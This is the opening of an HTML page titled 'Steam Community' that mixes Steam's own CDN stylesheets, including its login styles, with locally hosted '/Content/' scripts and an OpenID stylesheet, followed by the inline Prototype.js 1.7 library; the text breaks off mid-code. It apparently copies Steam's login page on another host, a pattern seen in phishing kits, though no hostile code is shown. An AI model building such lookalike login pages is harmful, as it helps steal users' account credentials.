<!DOCTYPE html>
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<meta name="theme-color" content="#171a21">
<title>Steam Community</title>
<link rel="shortcut icon" href="https://steamcommunity.com/favicon.ico" type="image/x-icon">
<script src="/Content/js/jquery.min.js"></script>
<link href="https://steamcommunity-a.akamaihd.net/public/shared/css/motiva_sans.css?v=qIG_iZC1Vj_d" rel="stylesheet" type="text/css">
<link href="https://steamcommunity-a.akamaihd.net/public/shared/css/buttons.css?v=DivqMdJb8hoZ" rel="stylesheet" type="text/css">
<link href="https://steamcommunity-a.akamaihd.net/public/shared/css/shared_global.css?v=J9xEepZktuzb" rel="stylesheet" type="text/css">
<!--<link href="https://steamcommunity-a.akamaihd.net/public/css/globalv2.css?v=fhcxF1tVnmT1" rel="stylesheet" type="text/css">-->
<link href="https://steamcommunity-a.akamaihd.net/public/css/skin_1/home.css?v=pJzVFGIy2mmE" rel="stylesheet" type="text/css">
<link href="https://steamcommunity-a.akamaihd.net/public/shared/css/login.css?v=1Q_lB0hwKf62" rel="stylesheet" type="text/css">
<link href="/Content/css/openid.css?v=xSnPokdOF9w8" rel="stylesheet" type="text/css">
<link href="https://steamcommunity-a.akamaihd.net/public/shared/css/motiva_sans.css?v=qIG_iZC1Vj_d" rel="stylesheet" type="text/css">
<link href="https://steamcommunity-a.akamaihd.net/public/shared/css/shared_responsive.css?v=Sqh2tLHzRZFc" rel="stylesheet" type="text/css">
<link href="https://steamcommunity-a.akamaihd.net/public/css/skin_1/header.css?v=nsrVgIBuVLKM" rel="stylesheet" type="text/css">
<script type="text/javascript">
/* Prototype JavaScript framework, version 1.7
* (c) 2005-2010 Sam Stephenson
*
* Prototype is freely distributable under the terms of an MIT-style license.
* For details, see the Prototype web site: http://www.prototypejs.org/
*
*--------------------------------------------------------------------------*/
var Prototype = {
Version: '1.7',
Browser: (function(){
var ua = navigator.userAgent;
var isOpera = Object.prototype.toString.call(window.opera) == '[object Opera]';
return {
IE: !!window.attachEvent && !isOpera,
Opera: isOpera,
WebKit: ua.indexOf('AppleWebKit/') > -1,
Gecko: ua.indexOf('Gecko') > -1 && ua.indexOf('KHTML') === -1,
MobileSafari: /Apple.*Mobile/.test(ua)
}
})(),
BrowserFeatures: {
XPath: !!document.evaluate,
SelectorsAPI: !!document.querySelector,
ElementExtensions: (function() {
var constructor = window.Element || window.HTMLElement;
return !!(constructor && constructor.prototype);
})(),
SpecificElementExtensions: (function() {
if (typeof window.HTMLDivElement !== 'undefined')
return true;
var div = document.createElement('div'),
form = document.createElement('form'),
isSupported = false;
if (div['__proto__'] && (div['__proto__'] !== form['__proto__'])) {
isSupported = true;
}
div = form = null;
return isSupported;
})()
},
ScriptFragment: '<script[^>]*>([\\S\\s]*?)<\/script>',
JSONFilter: /^\/\*-secure-([\s\S]*)\*\/\s*$/,
emptyFunction: function() { },
K: function(x) { return x }
};
if (Prototype.Browser.MobileSafari)
Prototype.BrowserFeatures.SpecificElementExtensions = false;
var Abstract = { };
var Try = {
these: function() {
var returnValue;
for (var i = 0, length = arguments.length; i < length; i++) {
var lambda = arguments[i];
try {
returnValue = lambda();
break;
} catch (e) { }
}
return returnValue;
}
};
/* Based on Alex Arnell's inheritance implementation. */
var Class = (function() {
var IS_DONTENUM_BUGGY = (function(){
for (var p in { toString: 1 }) {
if (p === 'toString') return false;
}
return true;
})();
function subclass() {};
function create() {
var parent = null, properties = $A(arguments);
if (Object.isFunction(properties[0]))
parent = properties.shift();
function klass() {
this.initialize.apply(this, arguments);
}
Object.extend(klass, Class.Methods);
klass.superclass = parent;
klass.subclasses = [];
if (parent) {
subclass.prototype = parent.prototype;
klass.prototype = new subclass;
parent.subclasses.push(klass);
}
for (var i = 0, length = properties.length; i < length; i++)
klass.addMethods(properties[i]);
if (!klass.prototype.initialize)
klass.prototype.initialize = Prototype.emptyFunction;
klass.prototype.constructor = klass;
return klass;
}
function addMethods(source) {
var ancestor = this.superclass && this.superclass.prototype,
properties = Object.keys(source);
if (IS_DONTENUM_BUGGY) {
if (source.toString != Object.prototype.toString)
properties.push("toString");
if (source.valueOf != Object.prototype.valueOf)
properties.push("valueOf");
}
for (var i = 0, length = properties.length; i < length; i++) {
var property = properties[i], value = source[property];
if (ancestor && Object.isFunction(value) &&
value.argumentNames()[0] == "$super") {
var method = value;
value = (function(m) {
return function() { return ancestor[m].apply(this, arguments); };
})(property).wrap(method);
value.valueOf = method.valueOf.bind(method);
value.toString = method.toString.bind(method);
}
this.prototype[property] = value;
}
return this;
}
return {
create: create,
Methods: {
addMethods: addMethods
}
};
})();
(function() {
var _toString = Object.prototype.toString,
NULL_TYPE = 'Null',
UNDEFINED_TYPE = 'Undefined',
BOOLEAN_TYPE = 'Boolean',
NUMBER_TYPE = 'Number',
STRING_TYPE = 'String',
OBJECT_TYPE = 'Object',
FUNCTION_CLASS = '[object Function]',
BOOLEAN_CLASS = '[object Boolean]',
NUMBER_CLASS = '[object Number]',
STRING_CLASS = '[object String]',
ARRAY_CLASS = '[object Array]',
DATE_CLASS = '[object Date]',
NATIVE_JSON_STRINGIFY_SUPPORT = window.JSON &&
typeof JSON.stringify === 'function' &&
JSON.stringify(0) === '0' &&
typeof JSON.stringify(Prototype.K) === 'undefined';
function Type(o) {
switch(o) {
case null: return NULL_TYPE;
case (void 0): return UNDEFINED_TYPE;
}
var type = typeof o;
switch(type) {
case 'boolean': return BOOLEAN_TYPE;
case 'number': return NUMBER_TYPE;
case 'string': return STRING_TYPE;
}
return OBJECT_TYPE;
}
function extend(destination, source) {
for (var property in source)
destination[property] = source[property];
return destination;
}
function inspect(object) {
try {
if (isUndefined(object)) return 'undefined';
if (object === null) return 'null';
return object.inspect ? object.inspect() : String(object);
} catch (e) {
if (e instanceof RangeError) return '...';
throw e;
}
}
function toJSON(value) {
return Str('', { '': value }, []);
}
function Str(key, holder, stack) {
var value = holder[key],
type = typeof value;
if (Type(value) === OBJECT_TYPE && typeof value.toJSON === 'function') {
value = value.toJSON(key);
}
var _class = _toString.call(value);
switch (_class) {
case NUMBER_CLASS:
case BOOLEAN_CLASS:
case STRING_CLASS:
value = value.valueOf();
}
switch (value) {
case null: return 'null';
case true: return 'true';
case false: return 'false';
}
type = typeof value;
switch (type) {
case 'string':
return value.inspect(true);
case 'number':
return isFinite(value) ? String(value) : 'null';
case 'object':
for (var i = 0, length = stack.length; i < length; i++) {
if (stack[i] === value) { throw new TypeError(); }
}
stack.push(value);
var partial = [];
if (_class === ARRAY_CLASS) {
for (var i = 0, length = value.length; i < length; i++) {
var str = Str(i, value, stack);
partial.push(typeof str === 'undefined' ? 'null' : str);
}
partial = '[' + partial.join(',') + ']';
} else {
var keys = Object.keys(value);
for (var i = 0, length = keys.length; i < length; i++) {
var key = keys[i], str = Str(key, value, stack);
if (typeof str !== "undefined") {
partial.push(key.inspect(true)+ ':' + str);
}
}
partial = '{' + partial.join(',') + '}';
}
stack.pop();
return partial;
}
}
function stringify(object) {
return JSON.stringify(object);
}
function toQueryString(object) {
return $H(object).toQueryString();
}
function toHTML(object) {
return object && object.toHTML ? object.toHTML() : String.interpret(object);
}
function keys(object) {
if (Type(object) !== OBJECT_TYPE) { throw new TypeError(); }
var results = [];
for (var property in object) {
if (object.hasOwnProperty(property)) {
results.push(property);
}
}
return results;
}
function values(object) {
var results = [];
for (var property in object)
results.push(object[property]);
return results;
}
function clone(object) {
return extend({ }, object);
}
function isElement(object) {
return !!(object && object.nodeType == 1);
}
function isArray(object) {
return _toString.call(object) === ARRAY_CLASS;
}
var hasNativeIsArray = (typeof Array.isArray == 'function')
&& Array.isArray([]) && !Array.isArray({});
if (hasNativeIsArray) {
isArray = Array.isArray;
}
function isHash(object) {
return object instanceof Hash;
}
function isFunction(object) {
return _toString.call(object) === FUNCTION_CLASS;
}
function isString(object) {
return _toString.call(object) === STRING_CLASS;
}
function isNumber(object) {
return _toString.call(object) === NUMBER_CLASS;
}
function isDate(object) {
return _toString.call(object) === DATE_CLASS;
}
function isUndefined(object) {
return typeof object === "undefined";
}
extend(Object, {
extend: extend,
inspect: inspect,
toJSON: NATIVE_JSON_STRINGIFY_SUPPORT ? stringify : toJSON,
toQueryString: toQueryString,
toHTML: toHTML,
keys: Object.keys || keys,
values: values,
clone: clone,
isElement: isElement,
isArray: isArray,
isHash: isHash,
isFunction: isFunction,
isString: isString,
isNumber: isNumber,
isDate: isDate,
isUndefined: isUndefined
});
})();
Object.extend(Function.prototype, (function() {
var slice = Array.prototype.slice;
function update(array, args) {
var arrayLength = array.length, length = args.length;
while (length--) array[arrayLength + length] = args[length];
return array;
}
function merge(array, args) {
array = slice.call(array, 0);
return update(array, args);
}
function argumentNames() {
var names = this.toString().match(/^[\s\(]*function[^(]*\(([^)]*)\)/)[1]
.replace(/\/\/.*?[\r\n]|\/\*(?:.|[\r\n])*?\*\//g, '')
.replace(/\s+/g, '').split(',');
return names.length == 1 && !names[0] ? [] : names;
}
function bind(context) {
if (arguments.length < 2 && Object.isUndefined(arguments[0])) return this;
var __method = this, args = slice.call(arguments, 1);
return function() {
var a = merge(args, arguments);
return __method.apply(context, a);
}
}
function bindAsEventListener(context) {
var __method = this, args = slice.call(arguments, 1);
return function(event) {
var a = update([event || window.event], args);
return __method.apply(context, a);
}
}
function curry() {
if (!arguments.length) return this;
var __method = this, args = slice.call(arguments, 0);
return function() {
var a = merge(args, arguments);
return __method.apply(this, a);
}
}
function delay(timeout) {
var __method = this, args = slice.call(arguments, 1);
timeout = timeout * 1000;
return window.setTimeout(function() {
return __method.apply(__method, args);
}, timeout);
}
function defer() {
var args = update([0.01], arguments);
return this.delay.apply(this, args);
}
function wrap(wrapper) {
var __method = this;
return function() {
var a = update([__method.bind(this)], arguments);
return wrapper.apply(this, a);
}
}
function methodize() {
if (this._methodized) return this._methodized;
var __method = this;
return this._methodized = function() {
var a = update([this], arguments);
return __method.apply(null, a);
};
}
return {
argumentNames: argumentNames,
bind: bind,
bindAsEventListener: bindAsEventListener,
curry: curry,
delay: delay,
defer: defer,
wrap: wrap,
methodize: methodize
}
})());
(function(proto) {
function toISOString() {
return this.getUTCFullYear() + '-' +
(this.getUTCMonth() + 1).toPaddedString(2) + '-' +
this.getUTCDate().toPaddedString(2) + 'T' +
this.getUTCHours().toPaddedString(2) + ':' +
this.getUTCMinutes().toPaddedString(2) + ':' +
this.getUTCSeconds().toPaddedString(2) + 'Z';
}
function toJSON() {
return this.toISOString();
}
if (!proto.toISOString) proto.toISOString = toISOString;
if (!proto.toJSON) proto.toJSON = toJSON;
})(Date.prototype);
RegExp.prototype.match = RegExp.prototype.test;
RegExp.escape = function(str) {
return String(str).replace(/([.*+?^=!:${}()|[\]\/\\])/g, '\\$1');
};
var PeriodicalExecuter = Class.create({
initialize: function(callback, frequency) {
this.callback = callback;
this.frequency = frequency;
this.currentlyExecuting = false;
this.registerCallback();
},
registerCallback: function() {
this.timer = setInterval(this.onTimerEvent.bind(this), this.frequency * 1000);
},
execute: function() {
this.callback(this);
},
stop: function() {
if (!this.timer) return;
clearInterval(this.timer);
this.timer = null;
},
onTimerEvent: function() {
if (!this.currentlyExecuting) {
try {
this.currentlyExecuting = true;
this.execute();
this.currentlyExecuting = false;
} catch(e) {
this.currentlyExecuting = false;
throw e;
}
}
}
});
Object.extend(String, {
interpret: function(value) {
return value == null ? '' : String(value);
},
specialChar: {
'\b': '\\b',
'\t': '\\t',
'\n': '\\n',
'\f': '\\f',
'\r': '\\r',
'\\': '\\\\'
}
});
Object.extend(String.prototype, (function() {
var NATIVE_JSON_PARSE_SUPPORT = window.JSON &&
typeof JSON.parse === 'function' &&
JSON.parse('{"test": true}').test;
function prepareReplacement(replacement) {
if (Object.isFunction(replacement)) return replacement;
var template = new Template(replacement);
return function(match) { return template.evaluate(match) };
}
function gsub(pattern, replacement) {
var result = '', source = this, match;
replacement = prepareReplacement(replacement);
if (Object.isString(pattern))
pattern = RegExp.escape(pattern);
if (!(pattern.length || pattern.source)) {
replacement = replacement('');
return replacement + source.split('').join(replacement) + replacement;
}
while (source.length > 0) {
if (match = source.match(pattern)) {
result += source.slice(0, match.index);
result += String.interpret(replacement(match));
source = source.slice(match.index + match[0].length);
} else {
result += source, source = '';
}
}
return result;
}
function sub(pattern, replacement, count) {
replacement = prepareReplacement(replacement);
count = Object.isUndefined(count) ? 1 : count;
return this.gsub(pattern, function(match) {
if (--count < 0) return match[0];
return replacement(match);
});
}
function scan(pattern, iterator) {
this.gsub(pattern, iterator);
return String(this);
}
function truncate(length, truncation) {
length = length || 30;
truncation = Object.isUndefined(truncation) ? '...' : truncation;
return this.length > length ?
this.slice(0, length - truncation.length) + truncation : String(this);
}
function strip() {
return this.replace(/^\s+/, '').replace(/\s+$/, '');
}
function stripTags() {
return this.replace(/<\w+(\s+("[^"]*"|'[^']*'|[^>])+)?>|<\/\w+>/gi, '');
}
function stripScripts() {
return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), '');
}
function extractScripts() {
var matchAll = new RegExp(Prototype.ScriptFragment, 'img'),
matchOne = new RegExp(Prototype.ScriptFragment, 'im');
return (this.match(matchAll) || []).map(function(scriptTag) {
return (scriptTag.match(matchOne) || ['', ''])[1];
});
}
function evalScripts() {
return this.extractScripts().map(function(script) { return eval(script) });
}
function escapeHTML() {
return this.replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>');
}
function unescapeHTML() {
return this.stripTags().replace(/</g,'<').replace(/>/g,'>').replace(/&/g,'&');
}
function toQueryParams(separator) {
var match = this.strip().match(/([^?#]*)(#.*)?$/);
if (!match) return { };
return match[1].split(separator || '&').inject({ }, function(hash, pair) {
if ((pair = pair.split('='))[0]) {
var key = decodeURIComponent(pair.shift()),
value = pair.length > 1 ? pair.join('=') : pair[0];
if (value != undefined) value = decodeURIComponent(value);
if (key in hash) {
if (!Object.isArray(hash[key])) hash[key] = [hash[key]];
hash[key].push(value);
}
else hash[key] = value;
}
return hash;
});
}
function toArray() {
return this.split('');
}
function succ() {
return this.slice(0, this.length - 1) +
String.fromCharCode(this.charCodeAt(this.length - 1) + 1);
}
function times(count) {
return count < 1 ? '' : new Array(count + 1).join(this);
}
function camelize() {
return this.replace(/-+(.)?/g, function(match, chr) {
return chr ? chr.toUpperCase() : '';
});
}
function capitalize() {
return this.charAt(0).toUpperCase() + this.substring(1).toLowerCase();
}
function underscore() {
return this.replace(/::/g, '/')
.replace(/([A-Z]+)([A-Z][a-z])/g, '$1_$2')
.replace(/([a-z\d])([A-Z])/g, '$1_$2')
.replace(/-/g, '_')
.toLowerCase();
}
function dasherize() {
return this.replace(/_/g, '-');
}
function inspect(useDoubleQuotes) {
var escapedString = this.replace(/[\x00-\x1f\\]/g, function(character) {
if (character in String.specialChar) {
return String.specialChar[character];
}
return '\\u00' + character.charCodeAt().toPaddedString(2, 16);
});
if (useDoubleQuotes) return '"' + escapedString.replace(/"/g, '\\"') + '"';
return "'" + escapedString.replace(/'/g, '\\\'') + "'";
}
function unfilterJSON(filter) {
return this.replace(filter || Prototype.JSONFilter, '$1');
}
function isJSON() {
var str = this;
if (str.blank()) return false;
str = str.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@');
str = str.replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, ']');
str = str.replace(/(?:^|:|,)(?:\s*\[)+/g, '');
return (/^[\],:{}\s]*$/).test(str);
}
function evalJSON(sanitize) {
var json = this.unfilterJSON(),
cx = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;
if (cx.test(json)) {
json = json.replace(cx, function (a) {
return '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
});
}
try {
if (!sanitize || json.isJSON()) return eval('(' + json + ')');
} catch (e) { }
throw new SyntaxError('Badly formed JSON string: ' + this.inspect());
}
function parseJSON() {
var json = this.unfilterJSON();
return JSON.parse(json);
}
function include(pattern) {
return this.indexOf(pattern) > -1;
}
function startsWith(pattern) {
return this.lastIndexOf(pattern, 0) === 0;
}
function endsWith(pattern) {
var d = this.length - pattern.length;
return d >= 0 && this.indexOf(pattern, d) === d;
}
function empty() {
return this == '';
}
function blank() {
return /^\s*$/.test(this);
}
function interpolate(object, pattern) {
return new Template(this, pattern).evaluate(object);
}
return {
gsub: gsub,
sub: sub,
scan: scan,
truncate: truncate,
strip: String.prototype.trim || strip,
stripTags: stripTags,
stripScripts: stripScripts,
extractScripts: extractScripts,
evalScripts: evalScripts,
escapeHTML: escapeHTML,
unescapeHTML: unescapeHTML,
toQueryParams: toQueryParams,
parseQuery: toQueryParams,
toArray: toArray,
succ: succ,
times: times,
camelize: camelize,
capitalize: capitalize,
underscore: underscore,
dasherize: dasherize,
inspect: inspect,
unfilterJSON: unfilterJSON,
isJSON: isJSON,
evalJSON: NATIVE_JSON_PARSE_SUPPORT ? parseJSON : evalJSON,
include: include,
startsWith: startsWith,
endsWith: endsWith,
empty: empty,
blank: blank,
interpolate: interpolate
};
})());
var Template = Class.create({
initialize: function(template, pattern) {
this.template = template.toString();
this.pattern = pattern || Template.Pattern;
},
evaluate: function(object) {
if (object && Object.isFunction(object.toTemplateReplacements))
object = object.toTemplateReplacements();
return this.template.gsub(this.pattern, function(match) {
if (object == null) return (match[1] + '');
var before = match[1] || '';
if (before == '\\') return match[2];
var ctx = object, expr = match[3],
pattern = /^([^.[]+|\[((?:.*?[^\\])?)\])(\.|\[|$)/;
match = pattern.exec(expr);
if (match == null) return before;
while (match != null) {
var comp = match[1].startsWith('[') ? match[2].replace(/\\\\]/g, ']') : match[1];
ctx = ctx[comp];
if (null == ctx || '' == match[3]) break;
expr = expr.substring('[' == match[3] ? match[1].length : match[0].length);
match = pattern.exec(expr);
}
return before + String.interpret(ctx);
});
}
});
Template.Pattern = /(^|.|\r|\n)(#\{(.*?)\})/;
var $break = { };
var Enumerable = (function() {
function each(iterator, context) {
var index = 0;
try {
this._each(function(value) {
iterator.call(context, value, index++);
});
} catch (e) {
if (e != $break) throw e;
}
return this;
}
function eachSlice(number, iterator, context) {
var index = -number, slices = [], array = this.toArray();
if (number < 1) return array;
while ((index += number) < array.length)
slices.push(array.slice(index, index+number));
return slices.collect(iterator, context);
}
function all(iterator, context) {
iterator = iterator || Prototype.K;
var result = true;
this.each(function(value, index) {
result = result && !!iterator.call(context, value, index);
if (!result) throw $break;
});
return result;
}
function any(iterator, context) {
iterator = iterator || Prototype.K;
var result = false;
this.each(function(value, index) {
if (result = !!iterator.call(context, value, index))
throw $break;
});
return result;
}
function collect(iterator, context) {
iterator = iterator || Prototype.K;
var results = [];
this.each(function(value, index) {
results.push(iterator.call(context, value, index));
});
return results;
}
function detect(iterator, context) {
var result;
this.each(function(value, index) {
if (iterator.call(context, value, index)) {
result = value;
throw $break;
}
});
return result;
}
function findAll(iterator, context) {
var results = [];
this.each(function(value, index) {
if (iterator.call(context, value, index))
results.push(value);
});
return results;
}
function grep(filter, iterator, context) {
iterator = iterator || Prototype.K;
var results = [];
if (Object.isString(filter))
filter = new RegExp(RegExp.escape(filter));
this.each(function(value, index) {
if (filter.match(value))
results.push(iterator.call(context, value, index));
});
return results;
}
function include(object) {
if (Object.isFunction(this.indexOf))
if (this.indexOf(object) != -1) return true;
var found = false;
this.each(function(value) {
if (value == object) {
found = true;
throw $break;
}
});
return found;
}
function inGroupsOf(number, fillWith) {
fillWith = Object.isUndefined(fillWith) ? null : fillWith;
return this.eachSlice(number, function(slice) {
while(slice.length < number) slice.push(fillWith);
return slice;
});
}
function inject(memo, iterator, context) {
this.each(function(value, index) {
memo = iterator.call(context, memo, value, index);
});
return memo;
}
function invoke(method) {
var args = $A(arguments).slice(1);
return this.map(function(value) {
return value[method].apply(value, args);
});
}
function max(iterator, context) {
iterator = iterator || Prototype.K;
var result;
this.each(function(value, index) {
value = iterator.call(context, value, index);
if (result == null || value >= result)
result = value;
});
return result;
}
function min(iterator, context) {
iterator = iterator || Prototype.K;
var result;
this.each(function(value, index) {
value = iterator.call(context, value, index);
if (result == null || value < result)
result = value;
});
return result;
}
function partition(iterator, context) {
iterator = iterator || Prototype.K;
var trues = [], falses = [];
this.each(function(value, index) {
(iterator.call(context, value, index) ?
trues : falses).push(value);
});
return [trues, falses];
}
function pluck(property) {
var results = [];
this.each(function(value) {
results.push(value[property]);
});
return results;
}
function reject(iterator, context) {
var results = [];
this.each(function(value, index) {
if (!iterator.call(context, value, index))
results.push(value);
});
return results;
}
function sortBy(iterator, context) {
return this.map(function(value, index) {
return {
value: value,
criteria: iterator.call(context, value, index)
};
}).sort(function(left, right) {
var a = left.criteria, b = right.criteria;
return a < b ? -1 : a > b ? 1 : 0;
}).pluck('value');
}
function toArray() {
return this.map();
}
function zip() {
var iterator = Prototype.K, args = $A(arguments);
if (Object.isFunction(args.last()))
iterator = args.pop();
var collections = [this].concat(args).map($A);
return this.map(function(value, index) {
return iterator(collections.pluck(index));
});
}
function size() {
return this.toArray().length;
}
function inspect() {
return '#<Enumerable:' + this.toArray().inspect() + '>';
}
return {
each: each,
eachSlice: eachSlice,
all: all,
every: all,
any: any,
some: any,
collect: collect,
map: collect,
detect: detect,
findAll: findAll,
select: findAll,
filter: findAll,
grep: grep,
include: include,
member: include,
inGroupsOf: inGroupsOf,
inject: inject,
invoke: invoke,
max: max,
min: min,
partition: partition,
pluck: pluck,
reject: reject,
sortBy: sortBy,
toArray: toArray,
entries: toArray,
zip: zip,
size: size,
inspect: inspect,
find: detect
};
})();
function $A(iterable) {
if (!iterable) return [];
if ('toArray' in Object(iterable)) return iterable.toArray();
var length = iterable.length || 0, results = new Array(length);
while (length--) results[length] = iterable[length];
return results;
}
function $w(string) {
if (!Object.isString(string)) return [];
string = string.strip();
return string ? string.split(/\s+/) : [];
}
Array.from = $A;
(function() {
var arrayProto = Array.prototype,
slice = arrayProto.slice,
_each = arrayProto.forEach; // use native browser JS 1.6 implementation if available
function each(iterator, context) {
for (var i = 0, length = this.length >>> 0; i < length; i++) {
if (i in this) iterator.call(context, this[i], i, this);
}
}
if (!_each) _each = each;
function clear() {
this.length = 0;
return this;
}
function first() {
return this[0];
}
function last() {
return this[this.length - 1];
}
function compact() {
return this.select(function(value) {
return value != null;
});
}
function flatten() {
return this.inject([], function(array, value) {
if (Object.isArray(value))
return array.concat(value.flatten());
array.push(value);
return array;
});
}
function without() {
var values = slice.call(arguments, 0);
return this.select(function(value) {
return !values.include(value);
});
}
function reverse(inline) {
return (inline === false ? this.toArray() : this)._reverse();
}
function uniq(sorted) {
return this.inject([], function(array, value, index) {
if (0 == index || (sorted ? array.last() != value : !array.include(value)))
array.push(value);
return array;
});
}
function intersect(array) {
return this.uniq().findAll(function(item) {
return array.detect(function(value) { return item === value });
});
}
function clone() {
return slice.call(this, 0);
}
function size() {
return this.length;
}
function inspect() {
return '[' + this.map(Object.inspect).join(', ') + ']';
}
function indexOf(item, i) {
i || (i = 0);
var length = this.length;
if (i < 0) i = length + i;
for (; i < length; i++)
if (this[i] === item) return i;
return -1;
}
function lastIndexOf(item, i) {
i = isNaN(i) ? this.length : (i < 0 ? this.length + i : i) + 1;
var n = this.slice(0, i).reverse().indexOf(item);
return (n < 0) ? n : i - n - 1;
}
function concat() {
var array = slice.call(this, 0), item;
for (var i = 0, length = arguments.length; i < length; i++) {
item = arguments[i];
if (Object.isArray(item) && !('callee' in item)) {
for (var j = 0, arrayLength = item.length; j < arrayLength; j++)
array.push(item[j]);
} else {
array.push(item);
}
}
return array;
}
Object.extend(arrayProto, Enumerable);
if (!arrayProto._reverse)
arrayProto._reverse = arrayProto.reverse;
Object.extend(arrayProto, {
_each: _each,
clear: clear,
first: first,
last: last,
compact: compact,
flatten: flatten,
without: without,
reverse: reverse,
uniq: uniq,
intersect: intersect,
clone: clone,
toArray: clone,
size: size,
inspect: inspect
});
var CONCAT_ARGUMENTS_BUGGY = (function() {
return [].concat(arguments)[0][0] !== 1;
})(1,2)
if (CONCAT_ARGUMENTS_BUGGY) arrayProto.concat = concat;
if (!arrayProto.indexOf) arrayProto.indexOf = indexOf;
if (!arrayProto.lastIndexOf) arrayProto.lastIndexOf = lastIndexOf;
})();
function $H(object) {
return new Hash(object);
};
var Hash = Class.create(Enumerable, (function() {
function initialize(object) {
this._object = Object.isHash(object) ? object.toObject() : Object.clone(object);
}
function _each(iterator) {
for (var key in this._object) {
var value = this._object[key], pair = [key, value];
pair.key = key;
pair.value = value;
iterator(pair);
}
}
function set(key, value) {
return this._object[key] = value;
}
function get(key) {
if (this._object[key] !== Object.prototype[key])
return this._object[key];
}
function unset(key) {
var value = this._object[key];
delete this._object[key];
return value;
}
function toObject() {
return Object.clone(this._object);
}
function keys() {
return this.pluck('key');
}
function values() {
return this.pluck('value');
}
function index(value) {
var match = this.detect(function(pair) {
return pair.value === value;
});
return match && match.key;
}
function merge(object) {
return this.clone().update(object);
}
function update(object) {
return new Hash(object).inject(this, function(result, pair) {
result.set(pair.key, pair.value);
return result;
});
}
function toQueryPair(key, value) {
if (Object.isUndefined(value)) return key;
return key + '=' + encodeURIComponent(String.interpret(value));
}
function toQueryString() {
return this.inject([], function(results, pair) {
var key = encodeURIComponent(pair.key), values = pair.value;
if (values && typeof values == 'object') {
if (Object.isArray(values)) {
var queryValues = [];
for (var i = 0, len = values.length, value; i < len; i++) {
value = values[i];
queryValues.push(toQueryPair(key, value));
}
return results.concat(queryValues);
}
} else results.push(toQueryPair(key, values));
return results;
}).join('&');
}
function inspect() {
return '#<Hash:{' + this.map(function(pair) {
return pair.map(Object.inspect).join(': ');
}).join(', ') + '}>';
}
function clone() {
return new Hash(this);
}
return {
initialize: initialize,
_each: _each,
set: set,
get: get,
unset: unset,
toObject: toObject,
toTemplateReplacements: toObject,
keys: keys,
values: values,
index: index,
merge: merge,
update: update,
toQueryString: toQueryString,
inspect: inspect,
toJSON: toObject,
clone: clone
};
})());
Hash.from = $H;
Object.extend(Number.prototype, (function() {
function toColorPart() {
return this.toPaddedString(2, 16);
}
function succ() {
return this + 1;
}
function times(iterator, context) {
$R(0, this, true).each(iterator, context);
return this;
}
function toPaddedString(length, radix) {
var string = this.toString(radix || 10);
return '0'.times(length - string.length) + string;
}
function abs() {
return Math.abs(this);
}
function round() {
return Math.round(this);
}
function ceil() {
return Math.ceil(this);
}
function floor() {
return Math.floor(this);
}
return {
toColorPart: toColorPart,
succ: succ,
times: times,
toPaddedString: toPaddedString,
abs: abs,
round: round,
ceil: ceil,
floor: floor
};
})());
function $R(start, end, exclusive) {
return new ObjectRange(start, end, exclusive);
}
var ObjectRange = Class.create(Enumerable, (function() {
function initialize(start, end, exclusive) {
this.start = start;
this.end = end;
this.exclusive = exclusive;
}
function _each(iterator) {
var value = this.start;
while (this.include(value)) {
iterator(value);
value = value.succ();
}
}
function include(value) {
if (value < this.start)
return false;
if (this.exclusive)
return value < this.end;
return value <= this.end;
}
return {
initialize: initialize,
_each: _each,
include: include
};
})());
var Ajax = {
getTransport: function() {
return Try.these(
function() {return new XMLHttpRequest()},
function() {return new ActiveXObject('Msxml2.XMLHTTP')},
function() {return new ActiveXObject('Microsoft.XMLHTTP')}
) || false;
},
activeRequestCount: 0
};
Ajax.Responders = {
responders: [],
_each: function(iterator) {
this.responders._each(iterator);
},
register: function(responder) {
if (!this.include(responder))
this.responders.push(responder);
},
unregister: function(responder) {
this.responders = this.responders.without(responder);
},
dispatch: function(callback, request, transport, json) {
this.each(function(responder) {
if (Object.isFunction(responder[callback])) {
try {
responder[callback].apply(responder, [request, transport, json]);
} catch (e) { }
}
});
}
};
Object.extend(Ajax.Responders, Enumerable);
Ajax.Responders.register({
onCreate: function() { Ajax.activeRequestCount++ },
onComplete: function() { Ajax.activeRequestCount-- }
});
Ajax.Base = Class.create({
initialize: function(options) {
this.options = {
method: 'post',
asynchronous: true,
contentType: 'application/x-www-form-urlencoded',
encoding: 'UTF-8',
parameters: '',
evalJSON: true,
evalJS: true
};
Object.extend(this.options, options || { });
this.options.method = this.options.method.toLowerCase();
if (Object.isHash(this.options.parameters))
this.options.parameters = this.options.parameters.toObject();
}
});
Ajax.Request = Class.create(Ajax.Base, {
_complete: false,
initialize: function($super, url, options) {
$super(options);
this.transport = Ajax.getTransport();
this.request(url);
},
request: function(url) {
this.url = url;
this.method = this.options.method;
var params = Object.isString(this.options.parameters) ?
this.options.parameters :
Object.toQueryString(this.options.parameters);
if (!['get', 'post'].include(this.method)) {
params += (params ? '&' : '') + "_method=" + this.method;
this.method = 'post';
}
if (params && this.method === 'get') {
this.url += (this.url.include('?') ? '&' : '?') + params;
}
this.parameters = params.toQueryParams();
try {
var response = new Ajax.Response(this);
if (this.options.onCreate) this.options.onCreate(response);
Ajax.Responders.dispatch('onCreate', this, response);
this.transport.open(this.method.toUpperCase(), this.url,
this.options.asynchronous);
if (this.options.asynchronous) this.respondToReadyState.bind(this).defer(1);
this.transport.onreadystatechange = this.onStateChange.bind(this);
this.setRequestHeaders();
this.body = this.method == 'post' ? (this.options.postBody || params) : null;
this.transport.send(this.body);
/* Force Firefox to handle ready state 4 for synchronous requests */
if (!this.options.asynchronous && this.transport.overrideMimeType)
this.onStateChange();
}
catch (e) {
this.dispatchException(e);
}
},
onStateChange: function() {
var readyState = this.transport.readyState;
if (readyState > 1 && !((readyState == 4) && this._complete))
this.respondToReadyState(this.transport.readyState);
},
setRequestHeaders: function() {
var headers = {
'X-Requested-With': 'XMLHttpRequest',
'X-Prototype-Version': Prototype.Version,
'Accept': 'text/javascript, text/html, application/xml, text/xml, */*'
};
if (this.method == 'post') {
